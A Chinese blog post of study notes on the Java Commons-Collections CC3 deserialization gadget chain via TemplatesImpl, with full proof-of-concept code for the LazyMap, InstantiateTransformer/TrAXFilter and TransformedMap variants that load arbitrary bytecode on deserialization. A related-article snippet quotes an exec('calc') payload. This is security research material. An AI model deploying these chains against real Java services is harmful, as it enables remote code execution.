templateslmpl利用链

最新推荐文章于 2025-06-28 13:33:23 发布
最新推荐文章于 2025-06-28 13:33:23 发布
阅读量570 收藏
点赞数
CC 4.0 BY-SA版权
文章标签： java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_62046696/article/details/129487886

cc3Jdk版本：

调用AnnoctionInvocationHandler中的版本需要在，<jdk8u71,

因为在jdk8u71的readobject中，不调用checksetvalue,

需要的依赖：

commons-collections 3.2.1

目录

Lazymap的链子

InstantiateTransformer的链子

 Transformed链子 

 hashmap的遍历方法

Lazymap的链子

首先Templateslmpl中的调用链

Templaateslmpl::newTransformer->

           getTransletInstance->

                     defineTransletClasses()->

                             defineClass()->

                                     newInstance触发

       TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code=Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        templates.newTransformer();

然后需要找谁调用了newTransformer，

  TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code=Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);

 流程分析：

ChainedTransformer::transform->

                   ConstantTransformer::transformer->  进行的是修改object的操作

                           InvokerTransformer::transformer中然后调用Templates

 思路转化为找谁调用了transform

Lazpmap中的get方法调用了transform，

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       // chainedTransformer.transform(1);
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        decorate.get(1);

为什么调用decorate方法，那是因为lazymap的构造方法是private我们访问不了，而decorate正好return构造方法，decorate.get()可以随便赋值，因为会经过new ConstantTransformer(templates)。

需要找谁调用了get方法,发现

AnnotationInvocationHandler::invoke方法中，
Object result = memberValues.get(member);调用了get，这里的memberValues是初始化的时候我们出传入的可控。

但是怎么触发invoke方法呢，动态代理中，一个类只要调用了任何方法都会调用invoke方法，

  public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

并且需要调用的方法，不是equals并且，参数为空，正好

entrySet是无参方法所以我们就可以进行构造 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code=Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       // chainedTransformer.transform(1);
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        //decorate.get(1);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
       InvocationHandler o =(InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);

        Object o1 = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        //动态代理代理的接口，                                因为Annotaion...接受map，所以代理Map的接口
        Object o2 = declaredConstructor.newInstance(Override.class, o1);

        //serialize(o2);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

 

 

InstantiateTransformer的链子

发现Instantiate Transformer类中的transform方法中，

发现只要input的参数继承Class类，然后就会调用con.newInstance这里我们需要的是， 调用Templateslmpl.newTransformer所以只需要con是Templateslmpl,IArgs是恶意类就可以了，

呃呃呃可能不太清楚，重写一下

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
ublic TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();

首先getConstructor()获取类的构造方法，input一定是TrAFiter.class，因为TrAXfiter类不可序列化但是它的class可以，iParamTypes获取另一个类的参数类型，很明显是Templates类，所以传入Templates.class，然后最后newinstance（iArgs）就是恶意类。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3Instan {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code= Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

最后拼接上面链子的后半部分， 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3Instan {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code= Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // chainedTransformer.transform(1);
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        //decorate.get(1);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler o =(InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);

        Object o1 = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        //动态代理代理的接口，                                因为Annotaion...接受map，所以代理Map的接口
        Object o2 = declaredConstructor.newInstance(Override.class, o1);

        //serialize(o2);
        cc3.unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

 

 Transformed链子 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3transformedmap {

        public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException {
            TemplatesImpl templates = new TemplatesImpl();
            Class<? extends TemplatesImpl> aClass = templates.getClass();
            Field name = aClass.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"aaa");
            Field bytecodes = aClass.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            byte[]code= Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
            byte[][]codes={code};
            bytecodes.set(templates,codes);

            Field tfactory = aClass.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,new TransformerFactoryImpl());

            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
            //instantiateTransformer.transform(TrAXFilter.class);

            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(TrAXFilter.class),
                    instantiateTransformer

            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            HashMap<Object,Object> hashMap = new HashMap<>();
            hashMap.put("value", "value");
            Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);

            Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationDeclaredConstructor = a.getDeclaredConstructor(Class.class, Map.class);
            annotationDeclaredConstructor.setAccessible(true);
            Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);
           // serialize(o);
            unserialize("ser.bin");
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
            return objectInputStream.readObject();
        }
}

 hashmap的遍历方法

import java.util.HashMap;

public class Map {
    public static void main(String[] args) {
        HashMap<String, String> map = new HashMap<>();
        map.put("sfsf","2220");
        map.put("s5","2720");
        for (java.util.Map.Entry<String,String> entry: map.entrySet()){
            String key = entry.getKey();
            String value = entry.getValue();
            System.out.println(key+":"+value);


         }

    }
}

fastjson1.2.24TemplatesImpl利用链源码分析
weixin_45682070的博客
12-28 883
构造恶意类 package org.example.fastjson.TemplatesImpl; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class Test { public static void main(String[] args) { Parse
[Java安全]—fastjson漏洞利用
snowlyzz的博客
12-30 2742
Fastjson组件反序列化分析，从基础到RCE的过程笔记
[Java安全]Fastjson 1.2.22-1.2.24 TemplatesImpl利用链分析
cosmoslin的博客
04-18 797
简介 对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用，目前已知的主要有以下的利用链： 基于TemplateImpl； 基于JNDI（又分为基于Bean Property类型和Field类型）； 这里我使用的环境是JDK7u51 fastjson-1.2.24.jar，commons-codec-1.12.jar，commons-io-2.5.jar，unboundid-ldapsdk-4.0.9.jar 反序列化TemplatesImpl类+类加载触发 先看一下POC： Te
TemplatesImpl链 详解（附调试代码）
最新发布
hddi1的博客
06-28 825
继承类重写findClass方法在findClass方法中调用defineClass方法来定义一个类当然，上述条件中我们不是一定要重写findClass方法的，我们也可以重写loadClass只不过这样可能会破坏“双亲委派”机制，而且通过查看方法也可以明白为什么重写findClass（抛出异常的空方法）
[Java反序列化]Java-CommonsCollections2TemplatesImpl利用链分析
Y4tacker的博客
07-28 578
文章目录Java-CommonsCollections2TemplatesImpl利用链分析完整代码 Java-CommonsCollections2TemplatesImpl利用链分析 我们知道我们之前可以利用TemplatesImpl 构造出⽆Transformer数组的利⽤链，那这里是否可以实现呢，答案是是的，在这里的queue 现在开始正文，还是稍微详细说一下利用过程吧 现在我们的目标就是通过PriorityQueue来调用TemplatesImpl的newTransformer来加载字节码 T
Java反序列化漏洞-TemplatesImpl利用链分析
柠檬i的博客
09-07 1573
defineClass可以加载字节码，但由于defineClass的作用域是protected，所以攻击者很少能直接利用到它，但它却是我们常用的一个攻击链 TemplatesImpl 的基石。
FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
weixin_33853794的博客
08-31 728
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题。 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象，parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObje...
Fastjson的Templateslmpl
03-30
### Fast TemplatesImpl 使用方法 `TemplatesImpl` 是 Java 中的一个可序列化的类，通常被用于动态生成字节码或者作为反序列化漏洞中的一个重要组件。以下是其主要功能以及使用方式： #### 功能概述 ...
[Java安全]利用TemplatesImpl执行字节码
Y4tacker的博客
07-25 3801
文章目录defineClass利用TemplatesImpl执行字节码 defineClass 介绍之前首先还是要知道defineClass的利用方式，下面给出简单的代码 public class TouchFile{ public TouchFile() throws Exception { Runtime.getRuntime().exec("calc"); } } 把它编译成字节码后Base64 之后运行 Method defineClass =
网络安全之反序列化漏洞分析
lzhy666的博客
06-10 3449
FastJson 是 alibaba 的一款开源 JSON 解析库，可用于将 Java 对象转换为其 JSON 表示形式，也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。
JAVA反序列化深入学习（十一）：Spring1
Neolock的博客
03-31 1187
springframework 是spring 里面的一个基础开源框架，主要用于javaee的企业开发 springframework也存在反序列化的漏洞
Java反序列化5-Fastjson 1.2.22-1.2.24 TemplatesImpl利用链分析
weixin_43263451的博客
07-12 1195
Fastjson是alibaba开源的一个json库，能够对json字符串进行序列化与反序列化操作。其在1.2.22-1.2.24版本被爆出来存在反序列化漏洞。该反序列化漏洞一共有两条链子这次主要分析的是TemplateImpl利用链。这条链子还是利用了TemplateImpl类，将avasisit生成的恶意类赋值给_bytecodes属性，当反序列化TemplateImpl对象时会调用其gettter和setter方法，在调用这些方法的时候调用了newTransformer从而进入TemplateImpl
html源码用json序列化,FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链...
weixin_42510914的博客
07-12 237
0. 前言记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题。1. TemplatesImpl的利用链关于 parse 和 parseObjectFastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象，parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外...
Java代码审计——Fastjson TemplatesImpl调用链
王嘟嘟的博客
12-09 2796
0x00 前言 反序列化总纲 除开jdbc调用链，还有一个TemplatesImpl的调用链，这个在CC链中是出现过的。可以参考：调用链 主要的要点在满以下三个变量 _bytecodes _name _tfactory 还有就是调用newTransformer的方法 0x01 调用链 先上poc： final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ParserConfig conf
Java代码审计——Commons Collections2 TemplatesImpl底层调用链
王嘟嘟的博客
11-25 1242
0x00 前言 分析完了CC1和TransformedMap链，接着来看CC2这个链，看了一些文章，但是仅仅是看的话，无法真切的理解其中的含义，所以需要进行自己分析，并且记录其中关键点。这一篇主要是把底层调用遇到的问题讲清楚。 0x01 底层调用链 底层调用链分为两层，一层是Java类字节化，一层是通过TemplatesImpl进行调用。 1.Java类字节化 这里Java字节化选择的是Javassist。 简单的说一下Javassist，Javassist主要是用来做动态生成Java类的库，可以从输入的内
TemplatesImpl在Shiro中的利用
Le1a's Blog
03-23 3291
TemplatesImpl在Shiro中的利用 文章首发自: https://www.le1a.com/posts/6e876d26/ 前言 前面学习了CC1、CC3和CC6，其中CC6是不限制版本的一条链，那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行和代码执行到底谁更有价值? 例如在PHP中会遇到一个场景，call_user_func和eval都能造成的代码执行，而更多的人愿意使用eval，原因是call_user_func在某种情况下会被限制不能使用assert和sy
Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的重点】
哦 卷！
09-22 1075
入口类 source调用链 gadget chain执行类 sink方式执行恶意代码。动态类加载任意类方式执行恶意代码。而入口类source和调用链gadget chain可以有很多组合，Java反序列化CC调用链中都是不同的组合类型。那接下来就是寻找方法的调用，其实这里可以接上CC1的前半部分调用链了，通过来进行调用。即将放入链中，然后按照CC1的方式调用即可。// 传入TrAXFilter.class，返回TrAXFilter.class，当做下一个transform的参数。
TemplatesImpl利用链与Fastjson注入内存马
weixin_42508548的博客
01-31 1399
TemplatesImpl利用链是一个非常重要的东西，要知道，CC链可以用它，CB链也用它，注入内存马还是用它。因为它可以加载java字节码并实例化。ClassLoader，类加载器，是JVM执行类加载机制的前提，其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部，然后转换为一个与目标类对应的java.lang.Class对象实例。文章第四部分，了解了实例化类的时候，会自动执行static{}代码块，{}代码块，无参构造方法那么如何注入内存马呢，也是通过newInstance实现。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值